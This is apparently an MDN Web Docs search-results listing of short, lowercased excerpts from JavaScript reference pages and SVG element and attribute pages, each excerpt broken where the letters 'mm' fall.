mmediately returns true. otherwise, some returns false. callback is invoked with three arguments: the value of the element, the index of the element, and the array object being traversed. if a thisarg parameter is provided to some, it will be passed to callback when invoked, for use as its this value. otherwise, the value undefined will be passed for use as its this value. the this value ultimate...
TypedArray.prototype.toLocaleString() - JavaScript
this method has the same algorithm as array.prototype.tolocalestring() and, as the typed array elements are numbers, the same algorithm as number.prototype.tolocalestring() applies for each element. typedarray is one of the typed array types here. ...
TypedArray.prototype.toString() - JavaScript
ject, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax typedarray.tostring() return value a string representing the elements of the typed array. examples the typedarray objects override the tostring method of object. for typedarray objects, the tostring method joins the array and returns one string containing each typed array element separated by co
mmas. for example, the following code creates a typed array and uses tostring to convert the array to a string. var numbers = new uint8array([2, 5, 8, 1, 4]) numbers.tostring(); // "2,5,8,1,4" javascript calls the tostring method automatically when a typed array is to be represented as a text value or when an array is referred to in a string concatenation. compatibility if a browser doesn't sup...
WeakSet - JavaScript
ey in subject) execrecursively(fn, subject[key], _refs); } } const foo = { foo: "foo", bar: { bar: "bar" } }; foo.bar.baz = foo; // circular reference! execrecursively(obj => console.log(obj), foo); here, a weakset is created on the first run, and passed along with every subsequent function call (using the internal _refs parameter). the number of objects or their traversal order is i
mmaterial, so a weakset is more suitable (and performant) than a set for tracking object references, especially if a very large number of objects is involved. constructor weakset() creates a new weakset object. instance methods weakset.prototype.add(value) appends value to the weakset object. weakset.prototype.delete(value) removes value from the weakset. weakset.prototype.has(value) w...
WebAssembly.Module.customSections() - JavaScript
r purposes, for example the name custom section, which allows developers to provide names for all the functions and locals in the module (like "symbols" in a native build). note that the webassembly text format currently doesn't have a syntax specified for adding new custom sections; you can however add a name section to your wasm during conversion from text format over to .wasm. the wast2wasm co
mmand available as part of the wabt tool has a --debug-names option — specify this during conversion to get a .wasm with a names custom section, for example: wast2wasm simple-name-section.was -o simple-name-section.wasm --debug-names examples using customsections the following example (see the custom-section.html source and live example) compiles the loaded simple-name-section.wasm byte code. ...
escape() - JavaScript
warning: although escape() is not strictly deprecated (as in "removed from the web standards"), it is defined in annex b of the ecma-262 standard, whose introduction states: … all of the language features and behaviours specified in this annex have one or more undesirable characteristics and in the absence of legacy usage would be removed from this specification. … … progra
mmers should not use or assume the existence of these features and behaviours when writing new ecmascript code. … the escape() function computes a new string in which certain characters have been replaced by a hexadecimal escape sequence. note: this function was used mostly for url queries (the part of a url following ?)—not for escaping ordinary string literals, which use the format "\xhh". (hh are two hex...
globalThis - JavaScript
p you remember the name, just remember that in global scope the this value is globalthis. html and the windowproxy in many engines globalthis will be a reference to the actual global object, but in web browsers, due to iframe and cross-window security considerations, it references a proxy around the actual global object (which you can't directly access). this distinction is rarely relevant in co
mmon usage, but important to be aware of. naming several other popular name choices such as self and global were removed from consideration because of their potential to break compatibility with existing code. see the language proposal's "naming" document for more details. examples search for the global across environments prior to globalthis, the only reliable cross-platform way to get the glo...
unescape() - JavaScript
warning: although unescape() is not strictly deprecated (as in "removed from the web standards"), it is defined in annex b of the ecma-262 standard, whose introduction states: … all of the language features and behaviours specified in this annex have one or more undesirable characteristics and in the absence of legacy usage would be removed from this specification. … … progra
mmers should not use or assume the existence of these features and behaviours when writing new ecmascript code. … the unescape() function computes a new string in which hexadecimal escape sequences are replaced with the character that it represents. the escape sequences might be introduced by a function like escape. usually, decodeuri or decodeuricomponent are preferred over unescape. note: do not use ...
Conditional (ternary) operator - JavaScript
. description besides false, possible falsy expressions are: null, nan, 0, the empty string (""), and undefined. if condition is any of these, the result of the conditional expression will be the result of executing the expression expriffalse. ...
Destructuring assignment - JavaScript
3 const [c] = f(); console.log(c); // 1 you can also ignore all returned values: [,,] = f(); assigning the rest of an array to a variable when destructuring an array, you can unpack and assign the remaining part of it to a variable using the rest pattern: const [a, ...b] = [1, 2, 3]; console.log(a); // 1 console.log(b); // [2, 3] be aware that a syntaxerror will be thrown if a trailing co
mma is used on the left-hand side with a rest element: const [a, ...b,] = [1, 2, 3]; // syntaxerror: rest element may not have a trailing co
mma // always consider using rest operator as the last element unpacking values from a regular expression match when the regular expression exec() method finds a match, it returns an array containing first the entire matched portion of the string and then ...
Equality (==) - JavaScript
erent types. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax x == y description the equality operators (== and !=) use the abstract equality comparison algorithm to compare two operands. this can be roughly su
mmarised as follows: if the operands are both objects, return true only if both operands reference the same object. if one operand is null and the other is undefined, return true. if the operands are of different types, try to convert them to the same type before comparing: when comparing a number to a string, try to convert the string to a numeric value. if one of the operands is bool...
Greater than (>) - JavaScript
herwise. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax x > y description the operands are compared using the abstract relational comparison algorithm. see the documentation for the less than operator for a su
mmary of this algorithm. examples string to string comparison console.log("a" > "b"); // false console.log("a" > "a"); // false console.log("a" > "3"); // true string to number comparison console.log("5" > 3); // true console.log("3" > 3); // false console.log("3" > 5); // false console.log("hello" > 5); // false console.log(5 > "hello"); ...
Greater than or equal (>=) - JavaScript
rwise. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax x >= y description the operands are compared using the abstract relational comparison algorithm. see the documentation for the less than operator for a su
mmary of this algorithm. examples string to string comparison console.log("a" >= "b"); // false console.log("a" >= "a"); // true console.log("a" >= "3"); // true string to number comparison console.log("5" >= 3); // true console.log("3" >= 3); // true console.log("3" >= 5); // false console.log("hello" >= 5); // false console.log(5 >= "hello"); // false numb...
Less than (<) - JavaScript
than the right operand, and false otherwise. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax x < y description the operands are compared using the abstract relational comparison algorithm, which is roughly su
mmarised below: first, objects are converted to primitives using symbol.toprimitive. if both values are strings, they are compared as strings, based on the values of the unicode code points they contain. otherwise javascript attempts to convert non-numeric types to numeric values: boolean values true and false are converted to 1 and 0 respectively. null is converted to 0. undefined ...
Less than or equal (<=) - JavaScript
rwise. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax x <= y description the operands are compared using the abstract relational comparison algorithm. see the documentation for the less than operator for a su
mmary of this algorithm. examples string to string comparison console.log("a" <= "b"); // true console.log("a" <= "a"); // true console.log("a" <= "3"); // false string to number comparison console.log("5" <= 3); // false console.log("3" <= 3); // true console.log("3" <= 5); // true console.log("hello" <= 5); // false console.log(5 <= "hello"); // false numb...
Operator precedence - JavaScript
… += … … -= … … **= … … *= … … /= … … %= … … <<= … … >>= … … >>>= … … &= … … ^= … … |= … … &&= … … ||= … … ??= … 2 yield right-to-left yield … yield* yield* … 1 co
mma / sequence left-to-right … , … ...
Property accessors - JavaScript
or example, if it has a reference to a function instance as its value). there are two ways to access properties: dot notation and bracket notation. dot notation in the object.property syntax, the property must be a valid javascript identifier. (in the ecmascript standard, the names of properties are technically "identifiernames", not "identifiers", so reserved words can be used but are not reco
mmended). for example, object.$1 is valid, while object.1 is not. const variable = object.property_name; object.property_name = value; const object = {}; object.$1 = 'foo'; console.log(object.$1); // 'foo' object.1 = 'bar'; // syntaxerror console.log(object.1); // syntaxerror here, the method named createelement is retrieved from document and is called. document.createelement('pre...
Spread syntax (...) - JavaScript
ecmascript 2018): let objclone = { ...obj }; rest syntax (parameters) rest syntax looks exactly like spread syntax. in a way, rest syntax is the opposite of spread syntax. spread syntax "expands" an array into its elements, while rest syntax collects multiple elements and "condenses" them into a single element. see rest parameters. examples spread in function calls replace apply() it is co
mmon to use function.prototype.apply() in cases where you want to use the elements of an array as arguments to a function. function myfunction(x, y, z) { } const args = [0, 1, 2]; myfunction.apply(null, args); with spread syntax the above can be written as: function myfunction(x, y, z) { } const args = [0, 1, 2]; myfunction(...args); any argument in the argument list can use spread syntax, and t...
async function expression - JavaScript
he body of the function. description an async function expression is very similar to, and has almost the same syntax as, an async function statement. the main difference between an async function expression and an async function statement is the function name, which can be omitted in async function expressions to create anonymous functions. an async function expression can be used as an iife (i
mmediately invoked function expression) which runs as soon as it is defined. see also the chapter about functions for more information. examples simple example function resolveafter2seconds(x) { return new promise(resolve => { settimeout(() => { resolve(x); }, 2000); }); }; const add = async function(x) { // async function expression assigned to a variable let a = await reso...
await - JavaScript
jected value. if the value of the expression following the await operator is not a promise, it's converted to a resolved promise. an await can split execution flow, allowing the caller of the await's function to resume execution before the deferred continuation of the await's function. after the await defers the continuation of its function, if this is the first await executed by the function, i
mmediate execution also continues by returning to the function's caller a pending promise for the completion of the await's function and resuming execution of that caller. examples awaiting a promise to be fulfilled if a promise is passed to an await expression, it waits for the promise to be fulfilled and returns the fulfilled value. function resolveafter2seconds(x) { return new promise(resol...
delete operator - JavaScript
parameters object the name of an object, or an expression evaluating to an object. property the property to delete. return value true for all cases except when the property is an own non-configurable property, in which case, false is returned in non-strict mode. exceptions throws typeerror in strict mode if the property is an own non-configurable property. description unlike what co
mmon belief suggests (perhaps due to other progra
mming languages like delete in c++), the delete operator has nothing to do with directly freeing memory. memory management is done indirectly via breaking references. see the memory management page for more details. the delete operator removes a given property from an object. on successful deletion, it will return true, else false will be returned. ...
super - JavaScript
ononparent([arguments]); description when used in a constructor, the super keyword appears alone and must be used before the this keyword is used. the super keyword can also be used to call functions on a parent object. examples using super in classes this code snippet is taken from the classes sample (live demo). here super() is called to avoid duplicating the constructor parts' that are co
mmon between rectangle and square. class rectangle { constructor(height, width) { this.name = 'rectangle'; this.height = height; this.width = width; } sayname() { console.log('hi, i am a ', this.name + '.'); } get area() { return this.height * this.width; } set area(value) { this._area = value; } } class square extends rectangle { constructor(length) { ...
typeof - JavaScript
ithub repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax the typeof operator is followed by its operand: typeof operand typeof(operand) parameters operand an expression representing the object or primitive whose type is to be returned. description the following table su
mmarizes the possible return values of typeof. for more information about types and primitives, see also the javascript data structure page. type result undefined "undefined" null "object" (see below) boolean "boolean" number "number" bigint (new in ecmascript 2020) "bigint" string "string" symbol (new ...
void operator - JavaScript
ch is equivalent to "void 0"). in these cases, the global variable undefined can be used. it should be noted that the precedence of the void operator should be taken into account and that parentheses can help clarify the resolution of the expression following the void operator: void 2 == '2'; // (void 2) == '2', returns false void (2 == '2'); // void (2 == '2'), returns undefined examples i
mmediately invoked function expressions when using an i
mmediately-invoked function expression, void can be used to force the function keyword to be treated as an expression instead of a declaration. void function iife() { console.log("executed!"); }(); // output: "executed!" executing the above function without the void keyword will result in an uncaught syntaxerror. javascript uris when ...
tabindex - SVG: Scalable Vector Graphics
r="30" tabindex="3" /> <circle cx="160" cy="60" r="30" tabindex="2" /> <circle cx="160" cy="160" r="60" tabindex="4" /> </svg> usage notes value valid integer default value none animatable no valid integer relative order of the element for the purposes of sequential focus navigation. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'tabindex' in that specification. candidate reco
mmendation initial definition ...
vector-effect - SVG: Scalable Vector Graphics
aled --> <path transform="translate(100,0)scale(4,1)" d="m10,20l40,100l39,200z" stroke="black" stroke-width="2px" fill="none"></path> <!-- fixed--> <path vector-effect="non-scaling-stroke" transform="translate(300,0)scale(4,1)" d="m10,20l40,100l39,200z" stroke="black" stroke-width="2px" fill="none"></path> </svg> result specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'vector-effect' in that specification. candidate reco
mmendation initial definition ...
xlink:arcrole - SVG: Scalable Vector Graphics
-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, <use> usage notes value <iri> default value none animatable no <iri> this value specifies an iri reference that identifies some resource that describes the intended property. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'xlink:arcrole' in that specification. reco
mmendation initial definition ...
xlink:type - SVG: Scalable Vector Graphics
<feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, and <use> usage notes value simple default value simple animatable no simple this value specifies that the referred resource is a simple link. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'xlink:type' in that specification. reco
mmendation initial definition ...
zoomAndPan - SVG: Scalable Vector Graphics
iffuselighting in="sourcegraphic" zoomandpan="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting);" /> </svg> usage notes value disable | magnify default value magnify animatable no specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'zoomandpan' in that specification. reco
mmendation initial definition ...
<a> - SVG: Scalable Vector Graphics
permitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<a>' in that specification. candidate reco
mmendation replaced xlink:href attribute by href scalable vector graphics (svg) 1.1 (second edition)the definition of '<a>' in that specification. reco
mmendation initial definition ...
<altGlyph> - SVG: Scalable Vector Graphics
asharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, text-anchor, transform, vector-effect, visibility xlink attributes xlink:href, xlink:type, xlink:role, xlink:arcrole, xlink:title, xlink:show, xlink:actuate dom interface this element implements the svgaltglyphelement interface. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of '<altglyph>' in that specification. reco
mmendation initial definition ...
<animateMotion> - SVG: Scalable Vector Graphics
utename, additive, accumulate animation event attributes most notably: onbegin, onend, onrepeat global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes this element implements the svganimatemotionelement interface. specifications specification status co
mment svg animations level 2the definition of '<animatemotion>' in that specification. editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<animatemotion>' in that specification. reco
mmendation initial definition ...
<animateTransform> - SVG: Scalable Vector Graphics
animation event attributes » xlink attributes » animation attribute target attributes » animation timing attributes » animation value attributes » animation addition attributes » externalresourcesrequired specific attributes by from to type dom interface this element implements the svganimatetransformelement interface. specifications specification status co
mment svg animations level 2the definition of '<animatetransform>' in that specification. editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<animatetransform>' in that specification. reco
mmendation initial definition ...
<circle> - SVG: Scalable Vector Graphics
scription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<circle>' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<circle>' in that specification. reco
mmendation initial definition ...
<clipPath> - SVG: Scalable Vector Graphics
shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility usage notes categoriesnonepermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elements<text>, <use> specifications specification status co
mment css masking module level 1the definition of '<clippath>' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<clippath>' in that specification. reco
mmendation initial definition ...
<defs> - SVG: Scalable Vector Graphics
permitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<defs>' in that specification. candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<defs>' in that specification. reco
mmendation initial definition ...
<desc> - SVG: Scalable Vector Graphics
esc> </circle> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesdescriptive elementpermitted contentany elements or character data specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<desc>' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<desc>' in that specification. reco
mmendation initial definition ...
<discard> - SVG: Scalable Vector Graphics
nt may. usage context categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements<script> attributes global attributes conditional processing attributes core attributes aria attributes specific attributes begin href (but note that <discard> has never supported xlink:href) specifications specification status co
mment svg animations level 2the definition of '<discard>' in that specification. editor's draft initial definition ...
<ellipse> - SVG: Scalable Vector Graphics
scription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<ellipse>' in that specification. candidate reco
mmendation added auto value for rx and ry scalable vector graphics (svg) 1.1 (second edition)the definition of '<ellipse>' in that specification. reco
mmendation initial definition ...
<feTile> - SVG: Scalable Vector Graphics
<filter id="tile" x="0" y="0" width="100%" height="100%"> <fetile in="sourcegraphic" x="50" y="50" width="100" height="100" /> <fetile/> </filter> </defs> <image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:url(#tile);"/> </svg> result specifications specification status co
mment filter effects module level 1the definition of '<fetile>' in that specification. working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fetile>' in that specification. reco
mmendation initial definition ...
<feTurbulence> - SVG: Scalable Vector Graphics
ementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status co
mment filter effects module level 1the definition of '<feturbulence>' in that specification. working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<feturbulence>' in that specification. reco
mmendation initial definition ...
<font-face> - SVG: Scalable Vector Graphics
eight ascent descent widths bbox ideographic alphabetic mathematical hanging v-ideographic v-alphabetic v-mathematical v-hanging underline-position underline-thickness strikethrough-position strikethrough-thickness overline-position overline-thickness dom interface this element implements the svgfontfaceelement interface. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font-face>' in that specification. reco
mmendation initial definition ...
<font> - SVG: Scalable Vector Graphics
e>, <glyph>, <hkern>, <missing-glyph>, <vkern> attributes global attributes core attributes presentation attributes class style externalresourcesrequired specific attributes horiz-origin-x horiz-origin-y horiz-adv-x vert-origin-x vert-origin-y vert-adv-y dom interface this element implements the svgfontelement interface. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font>' in that specification. reco
mmendation initial definition ...
<g> - SVG: Scalable Vector Graphics
permitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<g>' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<g>' in that specification. reco
mmendation initial definition ...
<glyph> - SVG: Scalable Vector Graphics
glyph unicode="!" horiz-adv-x="80" d="m0,0h200v200h-200z"></glyph> <glyph unicode="@" d="m0,50l100,300l400,100z"></glyph> </font> </defs> <text x="100" y="100" style="font-family: 'super sans', helvetica, sans-serif; font-weight: bold; font-style: normal">text using embe@dded font!</text> </svg> result specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of '<glyph>' in that specification. reco
mmendation initial definition ...
<line> - SVG: Scalable Vector Graphics
scription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<line>' in that specification. candidate reco
mmendation changed the x1, y1, x2 and y2 attributes to take <length>s, <percentage>s and <number>s scalable vector graphics (svg) 1.1 (second edition)the definition of '<line>' in that specification. reco
mmendation initial definition ...
<linearGradient> - SVG: Scalable Vector Graphics
hoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility xlink attributes xlink:href, xlink:title usage notes categoriesgradient elementpermitted contentany number of the following elements, in any order:descriptive elements<animate>, <animatetransform>, <set>, <stop> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<lineargradient>' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<lineargradient>' in that specification. reco
mmendation initial definition ...
<marker> - SVG: Scalable Vector Graphics
permitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status co
mment svg markersthe definition of '<marker>' in that specification. working draft scalable vector graphics (svg) 2the definition of '<marker>' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<marker>' in that specification. reco
mmendation initial definition ...
<mask> - SVG: Scalable Vector Graphics
permitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status co
mment css masking module level 1the definition of '<mask>' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<mask>' in that specification. reco
mmendation initial definition ...
<missing-glyph> - SVG: Scalable Vector Graphics
eignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> attributes global attributes core attributes presentation attributes class style specific attributes d horiz-adv-x vert-origin-x vert-origin-y vert-adv-y dom interface this element implements the svgmissingglyphelement interface. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of '<missing-glyph>' in that specification. reco
mmendation initial definition ...
<path> - SVG: Scalable Vector Graphics
required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesgraphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status co
mment svg pathsthe definition of '<path>' in that specification. working draft scalable vector graphics (svg) 2the definition of '<path>' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<path>' in that specification. reco
mmendation initial definition ...
<pattern> - SVG: Scalable Vector Graphics
permitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<pattern>' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<pattern>' in that specification. reco
mmendation initial definition ...
<polygon> - SVG: Scalable Vector Graphics
scription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<polygon>' in that specification. candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<polygon>' in that specification. reco
mmendation initial definition ...
<polyline> - SVG: Scalable Vector Graphics
scription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<polyline>' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<polyline>' in that specification. reco
mmendation initial definition ...
<radialGradient> - SVG: Scalable Vector Graphics
hoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility xlink attributes xlink:href, xlink:title usage notes categoriesgradient elementpermitted contentany number of the following elements, in any order:descriptive elements<animate>, <animatetransform>, <set>, <stop> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<radialgradient>' in that specification. candidate reco
mmendation added fr attribute scalable vector graphics (svg) 1.1 (second edition)the definition of '<radialgradient>' in that specification. reco
mmendation initial definition ...
<rect> - SVG: Scalable Vector Graphics
scription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<rect>' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<rect>' in that specification. reco
mmendation initial definition ...
<set> - SVG: Scalable Vector Graphics
utes most notably: onbegin, onend, onrepeat global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements specifications specification status co
mment svg animations level 2the definition of '<set>' in that specification. editor's draft scalable vector graphics (svg) 1.1 (second edition)the definition of '<set>' in that specification. reco
mmendation initial definition ...
<stop> - SVG: Scalable Vector Graphics
tyling attributes class, style event attributes global event attributes, document element event attributes presentation attributes most notably: color, display, stop-color, stop-opacity, visibility usage notes categoriesgradient elementpermitted contentany number of the following elements, in any order:<animate>, <animatecolor>, <set> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<stop>' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<stop>' in that specification. reco
mmendation initial definition ...
<svg> - SVG: Scalable Vector Graphics
permitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<svg>' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<svg>' in that specification. reco
mmendation initial definition ...
<switch> - SVG: Scalable Vector Graphics
<text systemlanguage="en-au">g'day!</text> <text systemlanguage="en">hello!</text> <text systemlanguage="es">hola!</text> <text systemlanguage="fr">bonjour!</text> <text systemlanguage="ja">こんにちは</text> <text systemlanguage="ru">Привет!</text> <text>☺</text> </switch> </svg> result specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<switch>' in that specification. candidate reco
mmendation clarified the evaluation of the systemlanguage attribute scalable vector graphics (svg) 1.1 (second edition)the definition of '<switch>' in that specification. reco
mmendation initial definition ...
<text> - SVG: Scalable Vector Graphics
a-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesgraphics element, text content elementpermitted contentcharacter data and any number of the following elements, in any order:animation elementsdescriptive elementstext content elements<a> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<text>' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<text>' in that specification. reco
mmendation initial definition ...
<textPath> - SVG: Scalable Vector Graphics
aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role xlink attributes xlink:title usage notes categoriestext content element, text content child elementpermitted contentcharacter data and any number of the following elements, in any order:descriptive elements<a>, <altglyph>, <animate>, <animatecolor>, <set>, <tref>, <tspan> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<textpath>' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<textpath>' in that specification. reco
mmendation initial definition ...
<tref> - SVG: Scalable Vector Graphics
xt> </defs> <text x="100" y="100" font-size="45" > inline character data </text> <text x="100" y="200" font-size="45" fill="red" > <tref xlink:href="#referencedtext"/> </text> <!-- show outline of canvas using 'rect' element --> <rect x="1" y="1" width="998" height="298" fill="none" stroke-width="2" /> </svg> specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font>' in that specification. reco
mmendation initial definition ...
<tspan> - SVG: Scalable Vector Graphics
ected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriestext content element, text content child elementpermitted contentcharacter data and any number of the following elements, in any order:descriptive elements<a>, <altglyph>, <animate>, <animatecolor>, <set>, <tref>, <tspan> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<tspan>' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<tspan>' in that specification. reco
mmendation initial definition ...
